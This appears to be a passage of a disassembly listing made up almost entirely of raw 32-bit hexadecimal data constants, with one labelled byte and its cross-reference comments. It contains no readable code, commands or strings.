dd 2A000FD1h, 0E55802FAh, 0EB7D4h, 0CAFC3E56h, 5C63B332h
dd 97696800h, 1F1A64B2h, 317D9Eh, 4326BFD0h, 0E762EE07h
dd 4276A26h, 6E8EB201h, 0BCDC91C0h, 1AD200F0h, 8F1FCF9Fh
dd 97009971h, 0FE797CF4h, 7A0D3Fh, 65B228Dh, 0BE6DB452h
dd 2A123700h, 0D928A4E8h, 50820062h, 0D8C74638h, 0CD007B6Ch
dd 0D74FCE41h, 3ECA965h, 0F41D02A6h, 2588E710h, 8D005240h
dd 0F5CBF146h, 8B72E5h, 730519ECh, 1F2F4748h, 3D495712h
dd 0DBB76F02h, 956C40EEh, 0FE2A009Bh, 73F29F44h, 0D577A117h
dd 8016933Bh, 53DCFC36h, 1EA2E009h, 0C0CEEC96h, 4707E814h
dd 1900B3F7h, 78F6AFB9h, 72F153C0h, 363E00D3h, 0DB625F10h
dd 810086ACh, 6776FA68h, 12D3F8FEh, 0AFF746h, 2E667D4Ch
dd 0EC00495Bh, 94E70E7Ch, 9D2A42h, 0D188EDAh, 7AD7244h
dd 0C65B600h, 0D190CA16h, 46771D9Bh, 0A0C98041h, 9C0A6EBDh
dd 7AE6D91Eh, 1A514281h, 49E69EFAh, 0DD70DD70h, 0AFA90012h
dd 97BFA3B3h, 0D05A162h, 5FA76B98h, 3532F9C0h, 378909D0h
dd 9C205BC7h, 17AAFA6Dh, 6F623Ch, 714C7083h, 7679E239h
dd 5021051Ch, 0B1A4EBEFh, 0B79FD458h, 0F0F7C60Ch, 3D4B1808h
dd 1E0102D5h, 200BE124h, 6900302Ah, 82E0FA38h, 0E211CBDBh
dd 0C61340C8h, 4F1300B0h, 0B6AE1E63h, 153EA704h, 0ADBE00EDh
dd 56777B1Ch, 70F004EFh, 0C04858FEh, 5EA5ECC2h, 4AD9AA00h
dd 0C79C115Ch, 5D330635h, 0AEC56F6Eh, 0BD3A5500h, 869313E8h
dd 0E4F90395h, 9D06CEFAh
dd 0CBBE10FFh, 173F3CCDh, 0E1A3001Dh, 0FF1E73F3h, 0A51F0072h
dd 0C1AF124h, 822C8F04h, 0CC00E827h, 9D5D0845h, 0D7B400ACh
dd 0BAF6F30Eh, 871EFDE1h, 89C0D54Fh, 0F997766Ch, 40C1A2E5h
dd 3984CD2Ah, 6BCCB868h, 0B29E7207h, 2DC42014h, 9C2AFA62h
dd 0EB2CC0ADh, 0A743903Ch, 0E90A1AFh, 9260AC40h, 5FBA1D44h
dd 7C45007Dh, 0C0C6A9D3h, 96AAE300h, 0F5584CDEh, 36A51C8Eh
dd 0F67B008Dh, 0FE275101h, 1F94BA00h, 4F09A730h, 329D0081h
dd 926F8CD2h, 0D900A52Fh, 1670157Dh, 122A6BFh, 85D5D154h
dd 0D11EB89Eh, 1FAE030h, 0CF35C506h, 205366h, 41E68C7Ch
dd 0C41B7BB2h, 0C2F85401h, 67856801h, 0F233AE0h, 0DA2938A1h
dd 2815A646h, 447FF300h, 2ACA5AE7h, 174700A3h, 75635399h
dd 0FA00982Eh, 0AA7D560Fh, 2EAD6A21h, 0BD51E4h, 0A1E916CFh
dd 1903E1C3h, 95BB1DF0h, 3248A824h, 0C24500A5h, 0B058237Eh
dd 0FD00947Fh, 0DA8D272Ah, 0D241A6h, 0ADD79CEDh, 0FA3A1E0Bh
dd 928F2B01h, 0A0894D2Ch, 0B40F98F3h, 62F12647h, 8E5000D7h
dd 2E8F9F4Ah, 86D72A00h, 0A5E470A3h, 0FF830067h, 780E5B6Eh
dd 9700FB36h, 32734BA9h, 599BB5h, 7C7A874Ah, 30265541h
dd 5CDDC200h, 78FA8F54h, 75D7C2Bh, 0A58D9877h, 0BEE830E4h
dd 6E002ADBh, 22DC338Ch, 4FF267h, 11683691h, 988285F5h
dd 437B0400h, 0E6D2D06Ch, 362702DFh, 42D5A64Dh, 40B42941h
dd 0BE6860E8h, 690ED400h, 23C2439Bh, 47970BB0h, 1A8001FDh
dd 0F1742FA1h, 3EFE0AFEh, 390075F0h, 2C8ACE32h, 0E8027D0Eh
dd 0CFFF0029h, 0F5823B27h, 3D0026A0h, 0CB83E2Fh, 0F1A4F160h
dd 7D1DFE4h, 1D4EA899h, 405B043h, 0CFA0D4CDh, 700BBC12h
dd 80E182CCh, 186988D5h, 0E3060020h, 0E78D904h, 2C03B6BEh
dd 391D5F7Fh, 930F82Eh, 6FBD00F7h, 9DD3C647h, 330362A8h
dd 0CAB6F988h, 82C0DD3Ah, 0DB4985h, 0DEA1BE9Fh, 0EE36899Ch
dd 1B094400h, 0B021281Ch, 0A210008Bh, 404B354Dh, 8E70D90Ch
dd 7318000h, 0CAACFC86h, 2E309029h, 0B3B2F1h, 3AD294E2h
dd 9C78255Bh, 7695D401h, 0D9838921h, 8B6420h, 0C2D61B7Eh
dd 9BD7DD51h, 0C9853F07h, 4F50FC09h, 10FD2Eh, 122133A1h
dd 272B04A2h, 68674603h, 0D840B36Ah, 0CE4D35h, 0AD131FA0h
dd 178FB13Ah, 0F00BA20Fh, 0E1C1FE96h, 4D3187F6h, 0EB7C60h
dd 8C816079h, 3B69D2BCh, 95F5F128h, 44B0CD00h, 2BBAE629h
dd 8EDC0E39h, 9CA0FCC6h, 0ACD6C96h, 0C00028EEh, 0FA739366h
dd 3102588h, 6AD0F09Dh, 0E5983154h, 0A031B20h, 19A6960Dh
dd 0FE50002Dh, 0C3F20E48h, 501FE2A0h, 9E80C0E8h, 0FAB22489h
dd 0C5786Eh, 8DAC37FFh, 2D1B8BF1h, 0C4652901h, 963B065Ah
dd 4F9CDE4h, 0FA10BB6Eh, 0F0EC025h, 91008969h, 4CCE1805h
dd 3FB08E44h, 6D03E8AAh, 5BFA9F66h, 32D52698h, 47C3F300h
dd 1A22A075h, 42690705h, 4013A4A2h, 71944DC1h, 0A8CDED00h
dd 0E78DC397h, 29FF82Bh, 1B62DBFh, 0DDE07908h, 0C500F6FBh
dd 0D9E8A863h, 300AB870h, 39106941h, 0C490150Ch, 301E6098h
dd 97C20F13h, 48A89E83h, 296F10h, 11FFD986h, 8C7E8F78h
dd 2B1F2A0Eh, 276BE0C3h, 701B226h, 778255D3h, 0E232A0DAh
dd 0DF008E90h, 67AF3094h, 3B2734BFh, 0F3804EFFh, 580DD046h
dd 0B20F0FF2h, 0A01A95C1h, 4F5CDE71h, 0EBFF1D60h, 0F1C000Dh
dd 0CA6F9EECh, 0D6F3DD00h, 0A630DBFCh, 73F0C7h, 0E8890586h
dd 3369D044h, 0B67A30F7h, 9991F00h, 1D3F1060h, 0FB709Eh
dd 846520D4h, 8F4976E6h, 0BE0BDC74h, 83BC48C8h, 0E03066EFh
dd 0E2C0EF2h, 0D46780E7h, 7A89F4A3h, 19C084ABh, 7D011853h
dd 17F7788Ah, 6DC8227Bh, 3968002Ah, 0EAE45D86h, 2603C4F2h
dd 0A78B641Dh, 23FA8D5h, 40C8EF0Bh, 8967008Ah, 5B476D2h
dd 9816F601h, 0D607D095h, 0C3E0C45Ch, 9D8B4Bh, 211D2A63h
dd 3BF05F1Bh, 0FE3E0DEAh, 762380A4h, 8152032Fh, 0BB930073h
dd 0D5B1C24Dh, 91001831h, 9AE18F55h, 7DBE3F6Ah, 35A307A7h
dd 938E2DD2h, 38795854h, 46DE39h, 9B0AEE74h, 0FCD00Eh
dd 0C7F3C9D8h, 557C5612h, 91DCEC00h, 3540FEC3h, 4CD80003h
dd 19B30D62h, 3700284Dh, 8D9950BBh, 5D4226h, 0B73FF453h
dd 0F975DD9Ch, 5399500h, 0E0A1BA98h, 0A4530056h, 0BCC43247h
dd 7003388h, 99085FABh, 70123Bh, 0C61EF80Bh, 80271792h
dd 15C8E900h, 0A4844172h, 0ACB100D2h, 318DCCDDh, 3F00EB78h
dd 0A86AEC9Eh, 0FE918FAAh, 9B9D001Bh, 0E47C264Fh, 0E8C03498h
dd 162EFC71h, 19890777h, 33A2DA39h, 4E90DBFDh, 0EF001D30h
dd 0ABEC5C3Fh, 6A0CE6h, 0E08B6B2Ch, 0F130BFE3h, 405984A1h
dd 7419D7DEh, 42100600h, 58A1BBBDh, 624B0FDEh, 2BC0934Fh
dd 1BFDF47Ch, 0A7AD0900h, 4F3D77Eh, 4F9C0248h, 0D2CB2115h
dd 9867FD40h, 0B39DB500h, 0C4AC9551h, 1D05F8A2h, 722E5C2h
dd 707FA309h, 78B5CC4Fh, 4483BB24h, 12DDA701h, 0CF00721Ah
dd 0CB00F89Ah, 427FD46Eh, 302EEFA1h, 0AA80291Dh, 0CF0052CEh
dd 0B7C49258h, 705C79h, 0ABE410Fh, 0BA25307Bh, 0B9723A00h
dd 0B5D59229h, 448648F7h, 56E93F00h, 0D083AD8Dh, 5552D900h
dd 61F7519Ah, 0EDEFEABAh, 0BC25DCh, 69DC56A6h, 5997D293h
dd 0C6221700h, 5F2CEDD0h, 566000AFh, 1128F3E6h, 0AC28933Dh
dd 0F900CC37h, 5EB0AE73h, 303AF0CEh, 0B118D26Dh, 4891CC86h
dd 539C5500h, 900E91C7h, 21870040h, 29E04370h, 0B50737F8h
dd 98C48B65h, 4C7F7AA1h, 4AECC9DCh, 2AB8F2h, 221D882Fh
dd 945E41h, 1678BDF6h, 0D909A344h, 0F28A901h, 0A66004C5h
dd 191D3880h, 6BA56413h, 2401D3E4h, 1E929E4Ah, 2EF8994Fh
dd 0DD7B00A9h, 0EC90FC79h, 0D23F9CF1h, 0EE188742h, 0BF711659h
dd 1271E1A8h, 800C289Fh, 0C184B9E8h, 0AC14AB34h, 0FE02872h
dd 0C0148FC6h, 0D2E7EEA9h, 954A0036h, 0AA7F17F6h, 0D8009461h
dd 3EF5B655h, 3F880874h, 0F60F11CEh, 1E934B2Fh, 0A06E40CAh
dd 0F83218D4h, 0D09AFFCh, 8B6C28h, 579FF010h, 472401B4h
dd 0B5E43F93h, 0FCF2F1F8h, 0F1373EE0h, 67832884h, 0A854C1DBh
dd 0E0DF2185h, 0C200FA37h, 0A0A9EF5Eh, 28ED6343h, 44A02AE9h
dd 69C1402Ch, 69A323Ah, 0EDFDDF0h, 0D5E48C73h, 5793AA00h
dd 720E2715h, 6C60D6h, 3E7792C3h, 995E8CAh, 4F7140EAh
dd 210EDED0h, 235476h, 0A8105A48h, 0AC62071Fh, 0F937F3h
dd 6DC8743Ch, 94760800h, 953EB5F5h, 4A7C1Dh, 0B1A80F6Ch
dd 85938A36h, 0AEEDAB06h, 0D181379Eh, 9CEC04A8h, 0F2F1F361h
dd 60E2929Ah, 209ED8h, 3418A1D7h, 86AA0AEDh, 9001087Ch
dd 0A88CB210h, 0F1F3C35Eh, 92F03545h, 0DE151427h, 0F8062CF4h
dd 5143A896h, 137D621h, 0DB9D0317h, 76289D2Bh, 849C8B4Ah
dd 48008C1Dh, 8E5AAB71h, 0DE0015Dh, 0CE6220A1h, 56EEF032h
dd 348FF9C3h, 79C11028h, 4B600675h, 1957F5h, 4C86251Dh
dd 5A914F73h, 1215F0Ah, 2388708Fh, 815B0003h, 486CB3DEh
dd 4C648h, 701084FFh, 5EBD0Ah, 0F64CB1EDh, 4ED66E06h, 0FB786C0Ch
dd 7DA26935h, 4C1D56EBh, 0FEF5F201h, 0F039756Ch, 6D54DE22h
dd 2A7E96B4h, 30F820A0h, 0DC9C890Ch, 18BAA84Eh, 3839C1EDh
dd 1660EF0Ah, 0DC481D58h, 85F8A43Fh, 8D85DD04h, 0B8023B49h
dd 8747EB7Fh, 21209AB4h, 24A06DC3h, 740B21Eh, 709F400Ah
dd 22811B93h
dd 245629C4h, 48A3A444h, 18E3420Ch, 28044225h, 5848BC39h
dd 2F1FAB42h, 3E111414h, 70A4108Ch, 9F977100h, 23D3E0AFh
dd 0EFFFC300h, 0F0051389h, 0F9FE0707h, 9084ACA0h, 0F2AF7298h
dd 65DADE13h, 0AD645E00h, 710FCE9Dh, 6D500008h, 0DE23F9EBh
dd 0FB005357h, 8CC85C93h, 1C3EB377h, 0FB08C760h, 1E2C01F5h
dd 1726EFD0h, 0FEFBFC88h, 0CF00487Dh, 0DA11140Bh, 16AA3FCh
dd 0CEEDE0C0h, 0CC794A17h, 360047EAh, 4161D71Ah, 2734E5h
dd 2450E82h, 0CAC6C5Ch, 76D05200h, 702F4E8Eh, 0B54C0EADh
dd 0EAC0E5E3h, 260A14D1h, 12206B00h, 7238AE18h, 0D4400F2h
dd 0E1BC64D9h, 1C00D57Bh, 26C58E3h, 365F5Dh, 0CCBC98Fh
dd 5B131EAFh, 0AC694D00h, 0F18C4E8Ah, 0FC6E5088h, 61680587h
dd 90E589F3h, 5227D4DCh, 85E7733Ch, 0ECD7C3F4h, 9969C083h
dd 97DC50B6h, 241E01D2h, 0D792058Fh, 0B90DD898h, 720054F0h
dd 8D0673F4h, 41F0FDh, 6C49DB33h, 0B1535A0Eh, 0FCF81C00h
dd 0A5575464h, 400349B8h, 689C8D00h, 161EF184h, 11A62600h
dd 0D57E58E9h, 85C51702h, 0B84003E2h, 0C93B582h, 5383EBA8h
dd 0DC0186E6h, 291747Eh, 0E8F0494Bh, 14C000A0h, 45BC430Dh
dd 78003C36h, 29C69004h, 96DD27h, 0E13D411Ah, 6230346h
dd 8F759E3Eh, 0CBB3EA10h, 0E488ADFh, 0A3C0621Fh, 2B755570h
dd 60E65Fh, 4685D4C8h, 0BCEFC66Eh, 0C189D00h, 78237A48h
dd 0D1E303DCh, 24DB8102h, 0D8A9C791h, 6C0048ECh, 0A2125F16h
dd 9535CEFh, 883E21C6h, 7F60AE8Fh, 4F8B67A8h, 2CE410Eh
dd 60AC8FF8h, 2380AA27h, 0F62C01B7h, 8A77B44Eh, 384FC449h
dd 0D59E910Eh, 8155A9ACh, 72BF51B0h, 4E8BBF4h, 5E8992CEh
dd 29578066h, 231F8393h, 2880CCE5h, 854D46CBh, 779E000Eh
dd 102A8936h, 0A17B52D2h, 8D43211Eh, 0FFC7F07h, 0D65DD500h
dd 95DE28AFh, 0BFC60097h, 0FCABB86Dh, 6505CC82h, 0A251D235h
dd 0A90F3180h, 22DD00C0h, 8313154Fh, 7B73B0E6h, 0E7C0CEF3h
dd 0D00F47Dh, 0F18F19A7h, 3E0867DCh, 18E06B3Ah, 0CD6D3D5Bh
dd 0BFCEFB00h, 0E4A5D5CAh, 553700F5h, 0A77831A2h, 6F0E07DFh
dd 0C0C83591h, 1A61E64Ch, 0BF0800D9h, 0AA23403Eh, 2B001249h
dd 0DAF58833h, 8B81BCh, 0E43D544Dh, 1009D4F8h, 0E1D81E00h
dd 450D8D65h, 508B004Fh, 75DFAE77h, 5A00A2ACh, 9CAA6809h
dd 0F2781Dh, 2FDEB126h, 6B23B3EEh, 799F6600h, 0A67A70A0h
dd 75C8F70Dh, 598D0067h, 8740159Dh, 1848E79Fh, 9B640361h
dd 0C836F1D9h, 901DF44Fh, 49591E2Bh, 0C4064E9Dh, 0B932ABC0h
dd 5800B387h, 3A3C2AAEh, 79205B02h, 0D71900DDh, 0D8C22C8h
dd 0AD019437h, 3E06FD72h, 0C2C88245h, 0CDD600A1h, 17139D52h
dd 8B00228Ah, 11E658EDh, 1BC130h, 0E544437Ch, 5EA77316h
dd 8B7F0800h, 0E64EF484h, 2D7685h, 0A9D1276Ah, 6B70304Dh
dd 88E91500h, 90D573F8h, 0DDA2006Ch, 0A33B27DCh, 1201AA8Ah
dd 1710064Bh, 55FC03A0h, 2D8791Dh, 7FBD2258h, 16E0F2ACh
dd 4B00A390h, 1C6E58Dh, 58BAB60h, 422C5913h, 7E87BE99h
dd 11EAE1CEh, 0FDC0E414h, 0DD582E0Bh, 50DB0055h, 4F2703C7h
dd 53EF5607h, 71F7091h, 33E07858h, 0D30DCEh, 9EDF6A72h
dd 653FEC62h, 93C5748h, 80DA77CCh, 0BEA0CB02h, 9EE72BCh
dd 35F16D4Dh, 7CFD8C00h, 8301801Fh, 76B1FFC9h, 0ADDC1A68h
dd 22BA1CFEh, 0D830C090h, 0FC022ED2h, 0DD035F03h, 0D02B6B7Fh
dd 0ADCA2EBh, 0A4E7C434h, 0B16800D5h, 827A29F9h, 6B047F00h
dd 75CF509Bh, 0EE200ADh, 712A90D4h, 27006C85h, 0BFCB03F3h
dd 310261h, 3639EB95h, 62113D6Fh, 7AE06C01h, 0BD8B5322h
dd 468C30h, 2C644D95h, 0DEBBD7F2h, 0BB0260Ch, 46FB29Dh
dd 91400780h, 0A6A481F8h, 0F5CDEC3Bh, 0AC2A5200h, 2F53AE37h
dd 61FE0029h, 3F565D8Ah, 1C0FBE7Dh, 40C76670h, 3985337h
dd 0A019009Fh, 0AFC05B81h, 0B700E37Fh, 5C640CEDh, 0F11BCB2h
dd 6028C8A7h, 0CA96B0A0h, 49030DDAh, 2E10AE5Eh, 0C2778071h
dd 0C820EFE1h, 399701Ch, 0A314730Ah, 328083F1h, 407D7A3Ah
dd 4D41710Fh, 6D066009h, 391E0B98h, 250769DBh, 0B0CD11CFh
dd 956F62BAh, 3F235100h, 0ABFA057Ch, 193D3F6Eh, 0E097B500h
dd 0A55F7FD9h, 0FBAD7E07h, 0FF50C466h, 1DFC5B7Ah, 0C093C830h
dd 602485Eh, 927511C5h, 27E50900h, 0A08913CDh, 3BE103F2h
dd 0ACAA80AFh, 12D27EE8h, 850F9300h, 0C7DC0A99h, 0AD7902C1h
dd 52919F21h, 0B5AB2C48h, 0BEC9607h, 0AD33935Fh, 4CD00248h
dd 4F5AF8F4h, 79807063h, 96F8204Dh, 0D2C040Ah, 0EE009C76h
dd 7D37C78Ah, 0D2932402h, 0DB8E004Ch, 30BB59A0h, 0EAFF4100h
dd 430F871Fh, 0B03B18BFh, 0D18829E2h, 3EB6060Eh, 208E20BCh
dd 0C6518B5h, 7BA09AD9h, 0AB0C5760h, 1199225Ch, 0AF1C0087h
dd 0FCCBC801h, 726BF06h, 9C1EAC2Fh, 126176EDh, 0CBBC4Eh
dd 0C63FE8EFh, 2BC103h, 8F9E2DCFh, 0F1FF6496h, 0F0A00A71h
dd 5F0CF53Fh, 1016C5C8h, 28EF01F0h, 74751BBEh, 0AB40873Dh
dd 0CBC0F582h, 183344BAh, 7853BF18h, 6F1821B2h, 4928350Eh
dd 0C59B0683h, 205DD11Fh, 0A65F3E00h, 0AB8F17C1h, 0D2220060h
dd 0FF141A99h, 301D8AF3h, 83C0EF15h, 0A9476A03h, 0C1E07DFh
dd 0F786B193h, 0E655705Fh, 8A00F976h, 80A3D327h, 0F4282AFh
dd 91B92147h, 764FBA80h, 0D0005850h, 8DCAB3A4h, 1ED099Dh
dd 21EEC622h, 0FCC5042Ch, 180E40B9h, 4E96EB5Eh, 0CC4D83CAh
dd 0B4B2A883h, 942D0087h, 1E532398h, 0FF00892Ah, 11ADE673h
dd 0DEE2EDh, 4CB77BF5h, 0BB428E59h, 6AD30A01h, 875DA7EAh
dd 0D42E70h, 52745AC4h, 0B9F34434h, 0DFCAC007h, 1E75E1h
dd 6ABAE7CBh, 10B7CF0h, 14C6EFE3h, 0F041319Dh, 7B003A15h
dd 0BBF5D21Fh, 2367A9h, 0C0ECDD3Eh, 515AA432h, 0E7CE502h
dd 40DC1DEFh, 2B14924h, 0C585F290h, 0EFE0D74Bh, 0D2060ECCh
dd 2B9181CFh, 0E07848C8h, 76A1E070h, 8D161C7Bh, 8224C0FBh
dd 1BF269F6h, 8CEF9524h, 0D2AFE200h, 5AA97673h, 9E8F1h
dd 9A1762DAh, 48F514FDh, 2100009Bh, 0F38034A6h, 7600663Eh
dd 93E8A816h, 24195041h, 153B082h, 0EBB93996h, 1C48C47Dh
dd 0B645C703h, 0A9ACBD61h, 0F1C19F4Bh, 24088220h, 74C3F2h
dd 4F9BB011h, 1600D95Bh, 339E8AC1h, 0B042A7Ah, 3AB473B3h
dd 630BC080h, 0B200C7DEh, 0BC2FC9A9h, 0A2F6F4h, 96D0482Eh
dd 0EEDAE859h, 0C9002577h, 0FFB91366h, 48F4D33Dh, 0C214AEEBh
dd 5803D0BAh, 70C11E4Eh, 0E0118CA1h, 541E8132h, 950A6977h
dd 823EC1B1h, 4EB0A27Bh, 83DC8088h, 0D95871h, 932DF420h
dd 6D32E8BCh, 0B4B7030Eh, 0CD89E10Dh, 104045E1h, 2E0827h
dd 2CC8BDBh, 0C9DC7792h, 0A41A462Ch, 0C0CF2F00h, 45714h
dd 64E324D9h, 0F35BB67Ch, 37B08700h, 53DA9117h, 0D733002Ch
dd 0BECCC055h, 0F660F87Eh, 19C764C9h, 0DA0B008Bh, 0C4631085h
dd 5E3B242Ch, 768BD89h, 9576E838h, 33F267D0h, 0B28301ACh
dd 89475D9Fh, 4B7D60A8h, 0F82ED100h, 0BC925A54h, 12A601DBh
dd 9820CCF3h, 7FF4EC45h, 0E51A1300h, 65588ED0h, 0CA94899h
dd 6FA8A026h, 83126800h, 0F800EA8Ah, 9F36B813h, 0F64FB09Ch
dd 538F0B49h, 0C280D12Bh, 8671CF31h, 98392400h, 6618F5B8h
dd 1F21078Bh, 0A0375F46h, 263E5478h, 0E925081Eh, 0F106C6C0h
dd 1FDC57ABh, 0BCC7B9E6h
dd 3CA5DD0Ch, 0BF00A378h, 29649865h, 1445B85Eh, 0CD7E40D3h
dd 0B98B821Fh, 6D4A2800h, 0ECB93801h, 9A0E6673h, 6032A10Dh
dd 7AA054BFh, 0B8E3240Eh, 59CA0000h, 0AD1A94F6h, 9E88E400h
dd 0CFB477A1h, 99EB006Ch, 3644B126h, 9B00CCF8h, 4CD893E6h
dd 7F35881h, 3D8F509Dh, 27D1500Ch, 8075305h, 4414C162h
dd 168024C0h, 0CBEE006Dh, 65300B1Ch, 173E98C9h, 0E6AA006Ah
dd 3D55AFA4h, 0BCB1006Ch, 294102B7h, 0AB00DB87h, 353EA136h
dd 0B25852h, 0CC8851B9h, 0DDF50ACBh, 0C2FEEE00h, 0D157191h
dd 0B8847D45h, 0D8A21777h, 0E2BC001Bh, 0DAD6A8C1h, 7FFBDE01h
dd 626CC579h, 74CF6E0h, 1E5CCD10h, 16BF5065h, 2600B2EDh
dd 78D3E909h, 0A4EBC52h, 0E644ABE1h, 42FA0480h, 0C077C4E8h
dd 8CD76B25h, 0B49CAA07h, 0B8E0F395h, 1DB5C598h, 459F5603h
dd 77A847h, 5BCD8EF5h, 6D0027E1h, 62632832h, 3BE2D76h
dd 83C51DDAh, 2BB024DDh, 7100F5AAh, 0B8E740E9h, 0D18B5Dh
dd 0AB3EE892h, 886D0AD9h, 0F674237Ch, 30D2EF00h, 0BF1A26FDh
dd 0A36B0382h, 0DA39631Fh, 6C60CDCAh, 0F4073656h, 0C3476FC9h
dd 71F1650h, 5EEB3DA1h, 3A8A9280h, 0F2E25F41h, 52CE8E00h
dd 0DF498208h, 15A63AFBh, 0F61DE703h, 7CA00B27h, 79004CAEh
dd 71D86119h, 0A00E862Ch, 0CDF0D4h, 9EE45BB0h, 88E7CF4Ch
dd 0AB93C2Eh, 0BB03D14h, 722ADE9h, 20ACF63Fh, 0C8C700E2h
dd 0FE6DEC79h, 8A609B32h, 624B1D3Ah, 23430042h, 0DCED88E8h
dd 29176F2Bh, 1F009EFDh, 6A407DCFh, 1C970079h, 749F7152h
dd 0FF3F2423h, 6CBC2445h, 0B956FE00h, 0FAD317h, 306C6E5Ch
dd 3A25A031h, 0F83F8701h, 1F72ABB7h, 224D1083h, 0C0C4D7F3h
dd 0B9F4A6C2h, 0FB00AE71h, 1F174582h, 1D75DC15h, 318B47Ah
dd 0FA28DE4Fh, 0BC70A6F0h, 920EAA3Bh, 9A01E686h, 221A1F04h
dd 0B154B02Ah, 80F7C838h, 0D7583E2Dh, 4164BBh, 0F25AE0CFh
dd 0DE8CBA17h, 49384B00h, 0F9068936h, 0FF26005Bh, 0C1E96276h
dd 9B00926Ah, 7DD3E309h, 449F35h, 0EC693D6Fh, 0C4DE40F3h
dd 0F70B95F4h, 82A8EEA5h, 4021A6CBh, 0ECE82C29h, 0D2EA0014h
dd 7F9C3761h, 0BDFCD7F5h, 0CF75AF00h, 474338FDh, 3AA40042h
dd 0DC519294h, 0EBB8B568h, 9AD1A301h, 59400141h, 6AAF3F0h
dd 0B5B1EF75h, 55009832h, 5D3D7F72h, 0F0E001h, 60125495h
dd 5FE2C56Eh, 0F150C707h, 3350A06Ch, 78CABE3h, 629DFFC6h
dd 31EAF0C5h, 0C9F8D007h, 0F41B7300h, 6BE3B71Eh, 0FA3F03ADh
dd 0E2210D3Eh, 1C6217A8h, 2F77FF01h, 98A15341h, 48090FCh
dd 75C49157h, 0B389063h, 6E0188F9h, 2A7EC084h, 4070EE0Ah
dd 96AC0072h, 4F5BE871h, 0AA0F9A73h, 44975A1Eh, 74843DE3h
dd 2FACEE00h, 0F6417FDh, 4EB61C40h
db 0C0h, 66h, 0Eh
byte_52004F db 0B0h ; DATA XREF: ___:0043F6FDo
; ___:0043FF0Do
dd 74001361h, 0EF37419Fh, 3EA1469Ah, 8D069533h, 64CC25ACh
dd 11F20F00h, 36B65E59h, 1EF67F8Fh, 693F0Dh, 5DCA572Eh
dd 5E00DF56h, 3BBE7462h, 48309Dh, 32F70BAEh, 6D750994h
dd 0AA15FF00h, 0B665FB85h, 3392398Fh, 0FC1C00F7h, 7DA54F68h
dd 960012FAh, 460F53F8h, 1E566EA2h, 8325E7FDh, 0DE93A4D2h
dd 163D97BBh, 57928011h, 20F7FF83h, 6B710004h, 26050F9Dh
dd 343977F5h, 0F3070023h, 0CE18AB58h, 9F2200E6h, 0FD9B19E9h
dd 36730B68h, 2E3FF00h, 16A2B9BAh, 12A00ECh, 585A5332h
dd 46071E10h, 0C0433BF3h, 0AA0055C5h, 3AA80A6Ah, 81B9B0F1h
dd 5DF890F8h, 42820E9Ch, 40C04DCDh, 5079CFE8h, 57DE6707h
dd 0E507EB51h, 4AFB5230h, 0BF6C0053h, 7836B9F6h, 348EC9Ah
dd 2BF00088h, 283D8AF5h, 53670083h, 0BE0B0410h, 39617576h
dd 0DC7FCC58h, 1CFCC420h, 8793B306h, 7028FAC9h, 92604D08h
dd 0EE1A4212h, 2A03B51Fh, 0E9559E18h, 0F47090B1h, 32393DA3h
dd 0A09413h, 0CB5D03E2h, 931CFE59h, 0BB4089B1h, 756AB717h
dd 0DD241E37h, 7F923FFCh, 0CC7307E1h, 6D4E70AAh, 0B2733F04h
dd 4BE8A000h, 0E1555979h, 0B85C000Bh, 3F47CEDh, 0E9078D30h
dd 9A4E3780h, 10BF4C20h, 0EE4900B0h, 9B590F11h, 0F3003C42h
dd 579CB6BAh, 27ABEDh, 6872FFC1h, 851671C9h, 4303B4E2h
dd 2957D31Bh, 60E1A273h, 798D5EB4h, 181300C9h, 0BC2E426Ah
dd 4000E648h, 33CD3F66h, 0E108F9h, 88E9A94Ah, 0A2C43735h
dd 0AEEDEF00h, 837B0FB4h, 2DBD00BEh, 17996FD1h, 53129847h
dd 0A41FEEADh, 9C2E000h, 3AD48A96h, 0A03B854Bh, 1DE80C75h
dd 6D10AD4Ah, 7EEE9720h, 6A4100A5h, 32447FAEh, 1B1E0113h
dd 200F98A6h, 9222A08Eh, 4CA44F34h, 0E7007CC2h, 3ED84BB6h
dd 0A700140Bh, 7A5B073Dh, 28A94138h, 2814AD5Eh, 4C5574h
dd 9A619729h, 965A13E1h, 1C0128A4h, 0F3D52778h, 0B3D8BF7Ch
dd 0D21918D6h, 48E98812h, 0C9026F00h, 748C4E80h, 8FE70C46h
dd 5F1A35D4h, 84CC3901h, 9EE669DAh, 3916C9E4h, 1A07925Ah
dd 0A0E9E1ACh, 83673D56h, 0BA3F38h, 2B96ADBCh, 6153FDh
dd 0EFB1CCAAh, 115B5D91h, 88EE5000h, 0BD7A7425h, 3B201E17h
dd 4C628087h, 8C92683h, 280073B8h, 64EF5830h, 52972Ah
dd 0E5ED54Fh, 89C1D086h, 3BB2380Fh, 0BA3C00E9h, 20AF63h
dd 0F485691h, 0F2151BA7h, 244D63Fh, 1E37E0E2h, 0AF1448D4h
dd 0B4AA5076h, 0BC840D6Dh, 46086E13h, 8F7820EAh, 5200BF74h
dd 351E7A20h, 8674A8h, 0A37399E0h, 3CEEFE4Fh, 0F6AA5500h
dd 1CCF877Dh, 184E65C9h, 88860786h, 591EC078h, 34054F18h
dd 0AC58F2E8h, 31BED840h, 6179B7Fh, 4ED25A32h, 0A8670824h
dd 7F206D21h, 0B0F24D1Ch, 64D92F5Dh, 21369ED4h, 361E0DA8h
dd 9180F19Fh, 2C80F760h, 5A17E47Fh, 0B2225C43h, 7F265800h
dd 983CE332h, 76D8001Fh, 0DDBD6D73h, 0C12AD93Dh, 3E469C4Eh
dd 0D3BF8102h, 4E31454Bh, 0AA68C810h, 0ADD52B03h, 0B0701860h
dd 6E76A0h, 6DD62199h, 200F15DEh, 0B39CBC24h, 37D8F100h
dd 3C581496h, 0DA002F8Bh, 1208B17Dh, 0EB00A64Dh, 7FFC9944h
dd 0A8BE78h, 0B9D518D9h, 9275E369h, 7D800517h, 6CFBF303h
dd 0B6ABD06Fh, 642F3972h, 9C0EE19Fh, 847B14F1h, 0F43AA63Eh
dd 25695980h, 3927BD34h, 0B457103h, 0C0CA47DBh, 0F512E1Bh
dd 0E2C961B9h, 0E6A2CC60h, 220115E0h, 11F00277h, 8BF452DFh
dd 0E143009Fh, 0C5C9CE84h, 8300912Fh, 0F411F18h, 7B95C709h
dd 2C760075h, 0A728E254h, 55001626h, 0A476FF6h, 50D8F8h
dd 0A8803323h, 6E39E420h, 0C0A98C00h, 18BAAF4Bh, 164D1C8Fh
dd 23728027h, 0FD01BFAAh, 1DDF195Ch, 551F31E6h, 600BE28Fh
dd 83EE46F5h, 683E60FCh, 0CA817E23h, 0FFB958h, 8B8CA98Ah
dd 71917Fh, 0FE5CDF25h, 2B9FB5FFh, 7CF63Eh, 7A93DB61h
